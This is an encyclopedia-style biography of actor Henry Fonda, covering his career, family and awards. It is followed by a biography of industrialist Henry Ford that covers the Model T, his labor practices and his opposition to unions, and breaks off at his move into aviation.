          Fonda made his mark early as a Broadway actor, and made his Hollywood debut in 1935. Fonda's career gained momentum after his Academy Award-nominated performance in 1940's The Grapes of Wrath, an adaptation of John Steinbeck's novel about an Oklahoma family who moved west during the Dust Bowl. Throughout six decades in Hollywood, Fonda cultivated a strong, appealing screen image in such classics as The Ox-Bow Incident, Mister Roberts, and 12 Angry Men. Later, Fonda moved toward both more challenging, darker epics as Sergio Leone's Once Upon a Time in the West (portraying a villain who kills, among others, a child and a cripple) and lighter roles in family comedies like Yours, Mine and Ours (with Lucille Ball).


          He was the patriarch of a family of famous actors, including daughter Jane Fonda, son Peter Fonda, granddaughter Bridget Fonda, and grandson Troy Garity; his family and close friends called him "Hank". In 1999, he was named the sixth Greatest Male Star of All Time by the American Film Institute.


          


          Life and career


          


          Family history and early life


          Fonda was born in Grand Island, Nebraska to advertising-printing jobber William Brace Fonda and Elma Herberta Jaynes, in the second year of their marriage. The Fonda family had emigrated westward from New York in the 1800s, and traces its ancestry from Genoa, Italy to The Netherlands in the 1500s, and then to the United States of America in the 1600s, settling in the town now called Fonda, New York.


          Fonda was brought up as a Christian Scientist and claimed that my whole damn family was nice. They were a close family and highly supportive, especially in health matters as they avoided doctors due to their religion. Fonda was a bashful, short boy who tended to avoid girls, except his sisters, and was a good skater, swimmer, and runner. He worked part-time in his fathers print plant and imagined a possible career as a journalist. Later, he worked after school for the phone company. He also enjoyed drawing. Fonda was active in the Boy Scouts of America and was a Scoutmaster, but was not an Eagle Scout as some report. When he was about fourteen, his father took him to observe a lynching, from the window of his fathers plant, of a young Black man accused of rape. This so enraged the young Fonda that a keen social awareness of prejudice was present within him for his entire adult life. By his senior year in high school, he grew suddenly to over six feet but remained a shy teenager. He then attended the University of Minnesota, majoring in journalism, but he did not graduate. He took a job with the Retail Credit Company.


          At age twenty, he started his acting career at the Omaha Community Playhouse when his mother's friend Dodie Brando (mother of Marlon Brando) needed a juvenile player for You and I. He was both fascinated by the stage, learning everything from set construction to stage production, and also profoundly embarrassed by his acting ability. When he received the lead in Merton of the Movies, he realized the beauty of acting as a profession, as it allowed him to deflect attention from his own tongue-tied personality and create stage characters relying on someone elses scripted words. Fonda decided to quit his job and go East in 1928 to strike his fortune. He arrived in Cape Cod and soon found a job with the Provincetown Players and Joshua Logan's University Players, an intercollegiate summer stock company, where he worked with Margaret Sullavan, his future wife, and began a lifelong friendship with James Stewart. His first role with Logan was as an Italian nobleman in The Jest, which quickly proved that Fonda had little talent to play foreigners with accents and needed to stick to American roles, as did his friend Jimmy Stewart.


          


          Early career


          Fonda headed for New York City, where he was soon joined by Stewart (after Fondas short marriage to Margaret Sullavan) and the two roommates struggled but honed their skills on Broadway. Fonda appeared in theatrical productions from 1926 to 1934. They fared no better than many Americans in and out of work during the Depression, with sometimes no money even to take the subway. Fonda got the first break going to Hollywood to make his first film appearance in (1935) as the leading man in 20th Century Fox's screen adaptation of The Farmer Takes a Wife, reprising his role from the Broadway production of the same name which gained him critical recognition. Suddenly, Fonda was making $3,000 a week and dining with Hollywood stars like Carol Lombard. Stewart soon followed him to Hollywood, and they roomed together again, in lodgings next door to Greta Garbo. In 1935 Fonda starred in the RKO film I Dream Too Much with the famous opera star Lily Pons. The New York Times proclaimed Henry Fonda, the most likable of the new crop of romantic juveniles.


          Fonda's film career blossomed as he costarred with Sylvia Sidney and Fred MacMurray in The Trail of the Lonesome Pine (1936), the first Technicolor movie filmed outdoors. He also starred with ex-wife Margaret Sullavan in  The Moons Our Home, and a short re-kindling of their relationship led to a brief consideration of re-marriage. Sullavan then married Fondas agent Leland Hayward and Fonda married socialite Frances Seymour Brokaw, who had little interest in the movies or the theatre. Fonda got the nod for the lead role in You Only Live Once (1937), also costarring Sidney, and directed by Fritz Lang. Fondas first child Jane Fonda was born on December 21, 1937. A critical success opposite Bette Davis, who had picked Fonda, in the film Jezebel (1938) was followed by the title role in Young Mr. Lincoln and his first collaboration with director John Ford.


          Fonda's successes led Ford to recruit him to play "Tom Joad" in the film version of John Steinbeck's novel The Grapes of Wrath (1940), but a reluctant Darryl Zanuck, who preferred Tyrone Power, insisted on Fonda's signing a seven-year contract with the studio, Twentieth Century-Fox. Fonda agreed, and was ultimately nominated for an Academy Award for his work in the 1940 film, which many consider to be his finest role, but his friend James Stewart won the Best Actor award for his role in The Philadelphia Story. Second child Peter Fonda was born in 1940.


          


          World War II service


          Fonda played opposite Barbara Stanwyck in The Lady Eve (1941), and teamed with Gene Tierney in the screwball comedy Rings on Her Fingers (1942). He was acclaimed for his role in The Ox-Bow Incident (1943).


          Fonda then enlisted in the Navy to fight in World War II, saying, "I don't want to be in a fake war in a studio." Previously, he and Stewart had helped raise funds for the defense of Britain. Fonda served for three years, initially as a Quartermaster 3rd Class on the destroyer USS Satterlee. He was later commissioned as a Lieutenant Junior Grade in Air Combat Intelligence in the Central Pacific and won a Presidential Citation and the Bronze Star.


          


          Post-war career


          After the war, Fonda took a break from movies and attended Hollywood parties and enjoyed civilian life. He and Stewart would listen to records and invite Johnny Mercer, Hoagy Carmichael, Dinah Shore, and Nat King Cole over for music, with the latter giving the family piano lessons. Fonda played Wyatt Earp in John Fords My Darling Clementine (1946) and appeared in the film Fort Apache (1948) as a rigid Army colonel, along with John Wayne and Shirley Temple in her first adult role. Fonda did seven post-war films then his contract with Fox expired.


          Refusing another long-term studio contract, Fonda returned to Broadway, wearing his own officer's cap to originate the title role in Mister Roberts, a comedy about the Navy, where Fonda, a junior officer, wages a private war against the captain. He won a 1948 Tony Award for the part. Fonda followed that by reprising his performance in the national tour and with successful stage runs in Point of No Return and The Caine Mutiny Court-Martial. He starred in the 1955 film version of Mister Roberts opposite James Cagney, William Powell and Jack Lemmon, continuing a pattern of bringing his acclaimed stage roles to life on the big screen. On the set of Mister Roberts, Fonda came to blows with John Ford and vowed never to work for him again. He never did (though he appeared in Peter Bogdanovich's acclaimed documentary "Directed by John Ford " and spoke glowingly of Ford therein).


          Fonda followed Mr. Roberts with Paramount Pictures's production of the Leo Tolstoy epic War and Peace, in which Fonda played Pierre Bezukhov opposite Audrey Hepburn, and which took two years to shoot. Fonda worked with Alfred Hitchcock in 1956, playing a man falsely accused of murder in The Wrong Man, an unusual though not successful effort by Hitchcock based on an actual crime and filmed on location in black and white.


          In 1957, Fonda made his first foray into production with 12 Angry Men, based on a teleplay and a script by Reginald Rose and directed by Sidney Lumet. The low budget production was completed in only seventeen days of filming mostly in one claustraphobic jury room and had a strong cast including Jack Klugman, Lee J. Cobb, Martin Balsam, and E. G. Marshall. The intense film about twelve jurors deciding the fate of a young man accused of murder was well-received by critics worldwide. Fonda shared the Academy Award and Golden Globe nominations with co-producer Reginald Rose and won the 1958 BAFTA Award for Best Actor for his performance as "Juror #8, who with logic and persistence eventually sways all the jurors to an acquittal. Early on the film drew poorly, but after winning critical acclaim and awards, it proved a success. In spite of the good outcome, Fonda vowed that he would never produce a movie again, fearing that failing as a producer might derail his acting career. After western movies The Tin Star (1957) and Warlock (1959), Fonda returned to the production seat for the NBC western television series The Deputy (19591961), in which he also starred. Around this time, his fourth troubled marriage was coming to an end.


          The 1960s saw Fonda perform in a number of war and western epics, including 1962's The Longest Day and How the West Was Won, 1965's In Harm's Way and Battle of the Bulge. In the Cold War suspense film Fail-Safe (1964), Fonda played the resolute President of the United States who tries to avert a nuclear holocaust through tense negotiations with the Soviets who see an attack coming their way. He also returned to more light-hearted cinema in Spencer's Mountain (1963), which was the inspiration for the TV series, The Waltons.


          


          He appeared against type as the villain "Frank" in 1968's Once Upon a Time in the West. After initially turning down the role, he was convinced to accept it by actor Eli Wallach and director Sergio Leone, who flew from Italy to the United States to persuade him to take the part. Fonda had planned on wearing a pair of brown-colored contact lenses, but Leone preferred the paradox of contrasting close-up shots of Fonda's innocent-looking blue eyes with the vicious personality of the character Fonda played.


          Fonda's relationship with Jimmy Stewart survived their disagreements over politics  Fonda was a liberal Democrat, and Stewart a Republican. After a heated argument, they avoided talking politics with each other. The two teamed up for 1968's Firecreek, where Fonda once again played the heavy. In 1970, Fonda and Stewart costarred in the western The Cheyenne Social Club, a minor film in which the two humorously argued politics. They had first appeared together on film in On Our Merry Way (1948), a comedy which also starred William Demarest and Fred MacMurray and featured a grown-up Carl "Alfalfa" Switzer.


          


          Late career


          Despite approaching his seventies, Henry Fonda continued to work in both television and film through the 1970s. In 1970, Fonda appeared in three films, the most successful of these ventures being The Cheyenne Social Club. The other two films were Too Late the Hero, in which Fonda played a secondary role, and There Was a Crooked Man, about Paris Pitman Jr. (played by Kirk Douglas) trying to escape from an Arizona prison.


          Fonda made a return to both foreign and television productions, which provided career sustenance through a decade in which many aging screen actors suffered waning careers. He starred in the ABC television series The Smith Family between 1971 and 1972. 1973's TV-movie The Red Pony, an adaptation of John Steinbeck's novel, earned Fonda an Emmy nomination. After the unsuccessful Hollywood melodrama, Ash Wednesday, he filmed three Italian productions released in 1973 and 1974. The most successful of these, My Name Is Nobody, presented Fonda in a rare comedic performance as an old gunslinger whose plans to retire are dampened by a "fan" of sorts.


          Henry Fonda continued stage acting throughout his last years, including several demanding roles in Broadway plays. He returned to Broadway in 1974 for the biographical drama, Clarence Darrow, for which he was nominated for a Tony Award. Fonda's health had been deteriorating for years, but his first outward symptoms occurred after a performance of the play in April 1974, when he collapsed from exhaustion. After the appearance of a heart arrhythmia brought on by prostate cancer, a pacemaker was installed following surgery and Fonda returned to the play in 1975. After the run of a 1978 play, First Monday of October, he took the advice of his doctors and quit plays, though he continued to star in films and television.


          In 1976, Fonda appeared in several notable television productions, the first being Collision Course, the story of the volatile relationship between President Harry Truman ( E.G. Marshall) and General MacArthur (Fonda), produced by ABC. After an appearance in the acclaimed Showtime broadcast of Almos' a Man, based on a story by Richard Wright, he starred in the epic NBC miniseries Captains and Kings, based on Taylor Caldwell's novel. Three years later, he appeared in ABC's Roots: The Next Generations, but the miniseries was overshadowed by its predecessor, Roots. Also in 1976, Fonda starred in the World War II blockbuster Midway.


          Fonda finished the 1970s in a number of disaster films. The first of these was the 1977 Italian killer octopus thriller Tentacoli (Tentacles) and the mediocre Rollercoaster, in which Fonda appeared with Richard Widmark and a young Helen Hunt. He performed once again with Widmark, Olivia de Havilland, Fred MacMurray, and Jos Ferrer in the killer bee action film The Swarm. He also acted in the global disaster film Meteor, with Sean Connery, Natalie Wood and Karl Malden, and then the Canadian production City on Fire, which also featured Shelley Winters and Ava Gardner. Fonda had a small role with his son, Peter, in 1979's Wanda Nevada, with Brooke Shields.


          As Fonda's health continued to suffer and he took longer breaks between filming, critics began to take notice of his extensive body of work. In 1979, the Tony Awards committee gave Fonda a special award for his achievements on Broadway. Lifetime Achievement awards from the Golden Globes and Academy Awards followed in 1980 and 1981, respectively.


          Fonda continued to act into the early 1980s, though all but one of the productions he was featured in before his death were for television. These television works included the critically acclaimed live performance of Preston Jones' The Oldest Living Graduate, the Emmy nominated Gideon's Trumpet (co-starring Fay Wray in her last performance).


          1981's On Golden Pond, the film adaptation of Ernest Thompson's play, marked one final professional and personal triumph for Fonda. Directed by Mark Rydell, the project provided unprecedented collaborations between Fonda and Katharine Hepburn, and between Fonda and Fonda's daughter, Jane. The elder Fonda played an emotionally brittle and distant father who becomes more accessible at the end of his life. Jane Fonda has said that elements of the story mimicked their real-life relationship, and helped them to resolve certain issues. She bought the film rights in the hope that her father would play the role, and later described it as "a gift to my father that was so unbelievably successful."


          When premiered in December 1981, the film was well received by critics, and after a limited release on December 4 On Golden Pond developed enough of an audience to be widely released on January 22. With eleven Academy Award nominations, the film earned nearly $120 million at the box office, becoming an unexpected blockbuster. In addition to wins for Hepburn (Best Actress), and Thompson (Screenplay), On Golden Pond brought Fonda his only Oscar for Best Actor (it also earned him a Golden Globe Best Actor award). Fonda was by that point too ill too attend the ceremony, and Jane Fonda accepted on his behalf.


          After Fonda's death, some film critics called this performance "his last and greatest role" (though this overlooks one subsequent performance in Summer Solstice, a television film with Myrna Loy) .


          


          Marriages and children


          Henry Fonda was married five times. His marriage to Margaret Sullavan in 1931 soon ended in separation, which was finalized in a 1933 divorce. In 1936, he married Frances Ford Seymour. They had two children, Peter and Jane. In 1950, Seymour committed suicide. Fonda married Susan Blanchard, the stepdaughter of Oscar Hammerstein II, in 1950. Together, they adopted a daughter, Amy (born 1953), but divorced three years later. In 1957 Fonda married Italian Countess Afdera Franchetti. They remained married until 1961. Soon after Fonda married Shirlee Mae Adams, and remained with her until his death in 1982.


          His relationship with his children has been described as "emotionally distant." In Peter Fonda's 1998 autobiography Don't Tell Dad, he described how he was never sure how his father felt about him, and that he did not tell his father he loved him until his father was elderly and he finally heard the words, "I love you, son." His daughter Jane rejected her father's friendships with Republican actors such as John Wayne and Jimmy Stewart, and as a result, their relationship was extremely strained.


          Jane Fonda also reported feeling detached from her father, especially during her early acting career. Henry Fonda introduced her to Lee Strasberg, who became her acting teacher, and as she developed as an actress using the techniques of " The Method," she found herself frustrated and unable to understand her father's effortless acting style. In the late 1950s, when she asked him how he prepared before going on stage, he baffled her by answering, "I dont know, I stand there, I think about my wife, Afdera, I don't know."


          Writer Al Aronowitz, while working on a profile of Jane Fonda for The Saturday Evening Post in the 1960s, asked Henry Fonda about Method acting: "I can't articulate about the Method," he told me, "because I never studied it. I don't mean to suggest that I have any feelings one way or the other about it...I don't know what the Method is and I dont care what the Method is. Everybody's got a method. Everybody cant articulate about their method, and I can't, if I have a methodand Jane sometimes says that I use the Method, that is, the capital letter Method, without being aware of it. Maybe I do; it doesnt matter."


          Fonda's daughter shared this view: "My father can't articulate the way he works." Jane said. "He just can't do it. He's not even conscious of what he does, and it made him nervous for me to try to articulate what I was trying to do. And I sensed that immediately, so we did very little talking about it...he said, 'Shut up, I don't want to hear about it. He didnt want me to tell him about it, you know. He wanted to make fun of it."


          Fonda himself once admitted in an interview that he felt he wasn't a good father to his children. In the same interview, he explained that he did his best to stay out of the way of Jane and Peter's careers, citing that he felt it was important to them to know that they succeeded because they worked hard and not because they used his fame to achieve their goals.


          


          Death and legacy


          Fonda died at his Los Angeles home on August 12, 1982, at the age of 77 from heart disease. Fonda's wife Shirlee and daughter Jane were at his side when he died. He also suffered from prostate cancer, but this did not directly cause his death and was only mentioned as a concurrent ailment on his death certificate.


          In the years since his death, his career has been held in even higher regard than during his life. He is widely recognized as one of the Hollywood greats of the classic era. On the centenary of his birth, May 16, 2005, Turner Classic Movies honored him with a marathon of his films. Also in May 2005, the United States Post Office released a thirty-seven-cent postage stamp with an artist's drawing of Fonda as part of their "Hollywood legends" series.


          


          In Popular Culture


          
            	Major Major in the Joseph Heller novel Catch-22 is joked, mocked, and resented for being a nearly exact likeness to Henry Fonda.


            	In an episode of the TV series Angel, Lorne appears to be making an effort to resurrect Henry Fonda.


            	The Shona Laing song "1905", which reached #4 in the New Zealand charts in 1973, is about Henry Fonda, upon whom Laing had a crush as a teenager.

          


          


          Filmography


          From the beginning of Henry Fonda's career in 1935 through his last projects in 1981, Fonda appeared in 106 films, television programs, and shorts. Through the course of his career he appeared in many critically acclaimed films, including such classics as 12 Angry Men and The Ox-Bow Incident. He was nominated for an Academy Award for Best Actor for his role in 1940's The Grapes of Wrath and won for his part in 1981's On Golden Pond. Fonda made his mark in westerns and war films, and made frequent appearances in both television and foreign productions late in his career.


          


          Broadway stage performances


          
            	The Game of Love and Death (Nov. 1929  Jan. 1930)


            	I Loved You, Wednesday (Oct.  Dec. 1932)


            	New Faces of 1934 (Revue; Mar.  Jul. 1934)


            	The Farmer Takes a Wife (Oct. 1934  Jan. 1935)


            	Blow Ye Winds (Sep.  Oct. 1937)


            	Mister Roberts (Feb. 1948  Jan. 1951)


            	Point of No Return (Dec. 1951  Nov. 1952)


            	The Caine Mutiny (Jan. 1954  Jan. 1955)


            	Two for the Seesaw (Jan. 1958  Oct. 1959)


            	Silent Night, Lonely Night (Dec. 1959  Mar. 1960)


            	Critic's Choice (Dec. 1960  May 1961)


            	A Gift of Time (Feb.  May 1962)


            	Generation (Oct. 1965  Jun. 1966)


            	Our Town (Nov.  Dec. 1969)


            	Clarence Darrow (Mar.  Apr. 1974; Mar. 1975)


            	First Monday in October (Oct.  Dec. 1978)

          


          


          Awards


          
            
              	Year

              	Award

              	Work
            


            
              	Academy Awards
            


            
              	Won:
            


            
              	1981

              	Best Actor

              	On Golden Pond
            


            
              	1981

              	Honorary Award

              	Lifetime Achievement
            


            
              	Nominated:
            


            
              	1957

              	Best Picture

              	12 Angry Men
            


            
              	1941

              	Best Actor

              	The Grapes of Wrath
            


            
              	BAFTA Awards
            


            
              	Won:
            


            
              	1958

              	Best Actor

              	12 Angry Men
            


            
              	Nominated:
            


            
              	1982

              	Best Actor

              	On Golden Pond
            


            
              	Emmy Awards
            


            
              	Nominated:
            


            
              	1980

              	Outstanding Lead Actor in a Miniseries or Movie

              	Gideon's Trumpet
            


            
              	1973

              	Outstanding Lead Actor in a Miniseries or Movie

              	The Red Pony
            


            
              	Golden Globes
            


            
              	Won:
            


            
              	1982

              	Best Motion Picture Actor - Drama

              	On Golden Pond
            


            
              	1980

              	Cecil B. DeMille Award

              	Lifetime Achievement
            


            
              	Nominated:
            


            
              	1958

              	Best Motion Picture Actor - Drama

              	12 Angry Men
            


            
              	Tony Awards
            


            
              	Won:
            


            
              	1979

              	Special Award

              	Lifetime Achievement
            


            
              	1948

              	Best Actor

              	Mister Roberts
            


            
              	Nominated:
            


            
              	1975

              	Best Actor

              	Clarence Darrow
            

          


          
            
              	Awards
            


            
              	Precededby

              Robert De Niro

              for Raging Bull

              	Academy Award for Best Actor

              1981

              for On Golden Pond

              	Succeededby

              Ben Kingsley

              for Gandhi
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              	Henry Ford
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                  Henry Ford, c. 1919
                

              
            


            
              	Born

              	July 30, 1863(1863-07-30)

              Greenfield Township, Dearborn, Michigan, U.S.
            


            
              	Died

              	April 7, 1947 (aged83)

              Fair Lane, Dearborn, Michigan, U.S.
            


            
              	Occupation

              	Business
            


            
              	Networth

              	▲$188.1 billion, according to Wealthy historical figures 2008, based on infomation from Forbes  February 2008.
            


            
              	Spouse(s)

              	Clara Jane Bryant
            


            
              	Children

              	Edsel Ford
            


            
              	Parents

              	William Ford and Mary Ford
            

          


          Henry Ford ( July 30, 1863  April 7, 1947) was the American founder of the Ford Motor Company and father of modern assembly lines used in mass production. His introduction of the Model T automobile revolutionized transportation and American industry. He was a prolific inventor and was awarded 161 U.S. patents. As owner of the Ford Company he became one of the richest and best-known people in the world. He is credited with " Fordism", that is, the mass production of large numbers of inexpensive automobiles using the assembly line, coupled with high wages for his workers. Ford had a global vision, with consumerism as the key to peace. Ford did not believe in accountants; he amassed one of the world's largest fortunes without ever having his company audited under his administration. Henry Ford's intense commitment to lowering costs resulted in many technical and business innovations, including a franchise system that put a dealership in every city in North America, and in major cities on six continents. Ford left most of his vast wealth to the Ford Foundation but arranged for his family to control the company permanently.


          


          Early years


          Ford was born July 30, 1863, on a farm next to a rural town west of Detroit, Michigan (this area is now part of Dearborn, Michigan). His father, William Ford (18261905), was born in County Cork, Ireland. His mother, Mary Litogot Ford (18391876), was born in Michigan; she was the youngest child of Belgian immigrants; her parents died when Mary was a child and she was adopted by neighbors, the O'Herns. Henry Ford's siblings include Margaret Ford (18671868); Jane Ford (c. 18681945); William Ford (18711917) and Robert Ford (18731934).


          His father gave Henry a pocket watch in his early teens. At fifteen, Ford dismantled and reassembled the timepieces of friends and neighbors dozens of times, gaining the reputation of a watch repairman. At twenty, Ford walked four miles to church every Sunday.


          Ford was devastated when his mother died in 1876. His father expected him to eventually take over the family farm but Henry despised farm work. He told his father, "I never had any particular love for the farmit was the mother on the farm I loved."


          In 1879, he left home to work as an apprentice machinist in the city of Detroit, first with James F. Flower & Bros., and later with the Detroit Dry Dock Co. In 1882, he returned to Dearborn to work on the family farm and became adept at operating the Westinghouse portable steam engine. He was later hired by Westinghouse company to service their steam engines.


          
            [image: Henry Ford at twenty five years old in 1888.]

            
              Henry Ford at twenty five years old in 1888.
            

          


          Ford married Clara Ala Bryant (c. 18651950) in 1888 and supported himself by farming and running a sawmill. They had a single child: Edsel Bryant Ford (1893-1943).


          In 1891, Ford became an engineer with the Edison Illuminating Company, and after his promotion to Chief Engineer in 1893, he had enough time and money to devote attention to his personal experiments on gasoline engines. These experiments culminated in 1896 with the completion of his own self-propelled vehicle named the Ford Quadricycle, which he test-drove on June 4. After various test-drives, Ford brainstormed ways to improve the Quadricycle.


          Also in 1896, Ford attended a meeting of Edison executives, where he was introduced to Thomas Edison. Edison approved of Ford's automobile experimentation; encouraged by Edison's approval, Ford designed and built a second vehicle, which was completed in 1898. Backed by the capital of Detroit lumber baron William H. Murphy, Ford resigned from Edison and founded the Detroit Automobile Company on August 5, 1899. However, the automobiles produced were of a lower quality and higher price than Ford liked. Ultimately, the company was not successful and was dissolved in January 1901.


          With the help of C. Harold Wills, Ford designed, built, and successfully raced a twenty six horsepower automobile in October 1901. With this success, Murphy and other stockholders in the Detroit Automobile Company formed the Henry Ford Company on November 30, 1901, with Ford as chief engineer. However, Murphy brought in Henry M. Leland as a consultant. As a result, Ford left the company bearing his name in 1902. With Ford gone, Murphy renamed the company the Cadillac Automobile Company.


          Ford also produced the 80+ horsepower racer "999", and getting Barney Oldfield to drive it to victory in October 1902. Ford received the backing of an old acquaintance, Alexander Y. Malcomson, a Detroit-area coal dealer. They formed a partnership, "Ford & Malcomson, Ltd." to manufacture automobiles. Ford went to work designing an inexpensive automobile, and the duo leased a factory and contracted with a machine shop owned by John and Horace E. Dodge to supply over $160,000 in parts. Sales were slow, and a crisis arose when the Dodge brothers demanded payment for their first shipment.


          


          Ford Motor Company
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              Henry Ford with Thomas Edison and Harvey Firestone. Ft. Myers, Florida, February 11, 1929.
            

          


          In response, Malcomson brought in another group of investors and convinced the Dodge Brothers to accept a portion of the new company. Ford & Malcomson was reincorporated as the Ford Motor Company on June 16, 1903, with $28,000 capital. The original investors included Ford and Malcomson, the Dodge brothers, Malcomson's uncle John S. Gray, Horace Rackham, and James Couzens. In a newly designed car, Ford gave an exhibition on the ice of Lake St. Clair, driving 1 mile (1.6 km) in 39.4 seconds, setting a new land speed record at 91.3 miles per hour (147.0 km/h). Convinced by this success, the race driver Barney Oldfield, who named this new Ford model "999" in honour of a racing locomotive of the day, took the car around the country, making the Ford brand known throughout the United States. Ford also was one of the early backers of the Indianapolis 500.


          Ford astonished the world in 1914 by offering a $5 per day wage, which more than doubled the rate of most of his workers. The move proved extremely profitable; instead of constant turnover of employees, the best mechanics in Detroit flocked to Ford, bringing in their human capital and expertise, raising productivity, and lowering training costs. Ford called it "wage motive." The company's use of vertical integration also proved successful when Ford built a gigantic factory that shipped in raw materials and shipped out finished automobiles.


          


          Model T


          The Model T was introduced on October 1, 1908. It had the steering wheel on the left, which every other company soon copied and is standard today. The entire engine and transmission were enclosed; the four cylinders were cast in a solid block; the suspension used two semi-elliptic springs.


          The car was very simple to drive, and easy and cheap to repair. It was so cheap at $825 in 1908 (the price fell every year) that by the 1920s a majority of American drivers learned to drive on the Model T.


          Ford created a massive publicity machine in Detroit to ensure every newspaper carried stories and ads about the new product. Ford's network of local dealers made the car ubiquitous in virtually every city in North America. As independent dealers, the franchises grew rich and publicized not just the Ford but the very concept of automobiling; local motor clubs sprang up to help new drivers and to explore the countryside. Ford was always eager to sell to farmers, who looked on the vehicle as a commercial device to help their business. Sales skyrocketedseveral years posted 100% gains on the previous year. Always on the hunt for more efficiency and lower costs, in 1913 Ford introduced the moving assembly belts into his plants, which enabled an enormous increase in production. Although Henry Ford is often credited with the idea, contemporary sources indicate that the concept and its development came from employees Clarence Avery, Peter E. Martin, Charles E. Sorensen, and C. Harold Wills. (See Piquette Plant)
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          Sales passed 250,000 in 1914. By 1916, as the price dropped to $360 for the basic touring car, sales reached 472,000.


          By 1918, half of all cars in America were Model T's. However, it was a monolithic block; as Ford wrote in his autobiography, "Any customer can have a car painted any colour that he wants so long as it is black". Until the development of the assembly line, which mandated black because of its quicker drying time, Model T's were available in other colors including red. The design was fervently promoted and defended by Ford, and production continued as late as 1927; the final total production was 15,007,034. This record stood for the next 45 years.


          This record was achieved in just 19 years flat from the intoduction of the first Model T (1908).


          President Woodrow Wilson asked Ford to run as a Democrat for the United States Senate from Michigan in 1918. Although the nation was at war, Ford ran as a peace candidate and a strong supporter of the proposed League of Nations.


          Henry Ford turned the presidency of Ford Motor Company over to his son Edsel Ford in December 1918. Henry, however, retained final decision authority and sometimes reversed his son. Henry started another company, Henry Ford and Son, and made a show of taking himself and his best employees to the new company; the goal was to scare the remaining holdout stockholders of the Ford Motor Company to sell their stakes to him before they lost most of their value. (He was determined to have full control over strategic decisions). The ruse worked, and Henry and Edsel purchased all remaining stock from the other investors, thus giving the family sole ownership of the company.


          By the mid-1920s, sales of the Model T began to decline due to rising competition. Other auto makers offered payment plans through which consumers could buy their cars, which usually included more modern mechanical features and styling not available with the Model T. Despite urgings from Edsel, Henry steadfastly refused to incorporate new features into the Model T or to form a customer credit plan.
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          "Model A" and Ford's later career


          By 1926, flagging sales of the Model T finally convinced Henry to make a new model. Henry pursued the project with a great deal of technical expertise in design of the engine, chassis, and other mechanical necessities, while leaving the body design to his son. Edsel also managed to prevail over his father's initial objections in the inclusion of a sliding-shift transmission.


          The result was the successful Ford Model A, introduced in December 1927 and produced through 1931, with a total output of more than 4 million. Subsequently, the company adopted an annual model change system similar to that in use by automakers today. Not until the 1930s did Ford overcome his objection to finance companies, and the Ford-owned Universal Credit Corporation became a major car-financing operation.


          


          Labor philosophy


          


          Henry Ford was a pioneer of " welfare capitalism" designed to improve the lot of his workers and especially to reduce the heavy turnover that had many departments hiring 300 men per year to fill 100 slots. Efficiency meant hiring and keeping the best workers.


          Ford announced his $5-per-day program on January 5, 1914. The revolutionary program called for a raise in minimum daily pay from $2.34 to $5 for qualifying workers. It also set a new, reduced workweek, although the details vary in different accounts. Ford and Crowther in 1922 described it as six 8-hour days, giving a 48-hour week, while in 1926 they described it as five 8-hour days, giving a 40-hour week. (Apparently the program started with Saturdays as workdays and sometime later made them days off.) Ford says that with this voluntary change, labor turnover in his plants went from huge to so small that he stopped bothering to measure it.


          When Ford started the 40-hour work week and a minimum wage he was criticized by other industrialists and by Wall Street. He proved, however, that paying people more would enable Ford workers to afford the cars they were producing and be good for the economy. Ford explained the change in part of the "Wages" chapter of My Life and Work. He labeled the increased compensation as profit-sharing rather than wages.


          The wage was offered to employees who had worked at the company for six months or more, and, importantly, conducted their lives in a manner of which Ford's "Social Department" approved. They frowned on heavy drinking, gambling, and what we today would call "deadbeat dads". The Social Department used 50 investigators, plus support staff, to maintain employee standards; a large percentage of workers were able to qualify for this "profit-sharing."


          Ford's incursion into his employees' private lives was highly controversial, and he soon backed off from the most intrusive aspects; by the time he wrote his 1922 memoir, he spoke of the Social Department and of the private conditions for profit-sharing in the past tense, and admitted that "paternalism has no place in industry. Welfare work that consists in prying into employees' private concerns is out of date. Men need counsel and men need help, oftentimes special help; and all this ought to be rendered for decency's sake. But the broad workable plan of investment and participation will do more to solidify industry and strengthen organization than will any social work on the outside. Without changing the principle we have changed the method of payment."


          


          Labor Unions


          Ford was adamantly against labor unions. He explained his views on unions in Chapter 18 of My Life and Work. He thought they were too heavily influenced by some leaders who, despite their ostensible good motives, would end up doing more harm than good for workers. Most wanted to restrict productivity as a means to foster employment, but Ford saw this as self-defeating because, in his view, productivity was necessary for any economic prosperity to exist.


          He believed that productivity gains that obviated certain jobs would nevertheless stimulate the larger economy and thus grow new jobs elsewhere, whether within the same corporation or in others. Ford also believed that union leaders (most particularly Leninist-leaning ones) had a perverse incentive to foment perpetual socio-economic crisis as a way to maintain their own power. Meanwhile, he believed that smart managers had an incentive to do right by their workers, because doing so would actually maximize their own profits. (Ford did acknowledge, however, that many managers were basically too bad at managing to understand this fact.) But Ford believed that eventually, if good managers such as himself could successfully fend off the attacks of misguided people from both left and right (i.e., both socialists and bad-manager reactionaries), the good managers would create a socio-economic system wherein neither bad management nor bad unions could find enough support to continue existing.


          To forestall union activity Ford promoted Harry Bennett, a former Navy boxer, to head the Service Department. Bennett employed various intimidation tactics to squash union organizing. The most famous incident, in 1937, was a bloody brawl between company security men and organizers that became known as The Battle of the Overpass.


          In the late 1930s and early 1940s, Edsel (who was president of the company) thought it was necessary for Ford to come to some sort of collective bargaining agreement with the unions, because the violence, work disruptions, and bitter stalemates could not go on forever. But Henry (who still had the final veto in the company on a de facto basis even if not an official one) refused to cooperate. For several years, he kept Bennett in charge of talking to the unions that were trying to organize the Ford company. Sorensen's memoir makes clear that Henry's purpose in putting Bennett in charge was to make sure no agreements were ever reached.


          The Ford company was the last Detroit automaker to recognize the United Auto Workers union (UAW). A sit-down strike by the UAW union in April 1941 closed the River Rouge Plant. Sorensen said a distraught Henry Ford was very close to following through with a threat to break up the company rather than cooperate but that his wife, Clara, told him she would leave him if he destroyed the family business that she wanted to see her son and grandsons lead into the future. Henry complied with his wife's ultimatum, and Ford went literally overnight from the most stubborn holdout among automakers to the one with the most favorable UAW contract terms. The contract was signed in June 1941.


          


          Ford Airplane Company


          Ford, like other automobile companies, entered the aviation business during World War I, building Liberty engines. After the war, it returned to auto manufacturing until 1925, when Henry Ford acquired the Stout Metal Airplane Company.
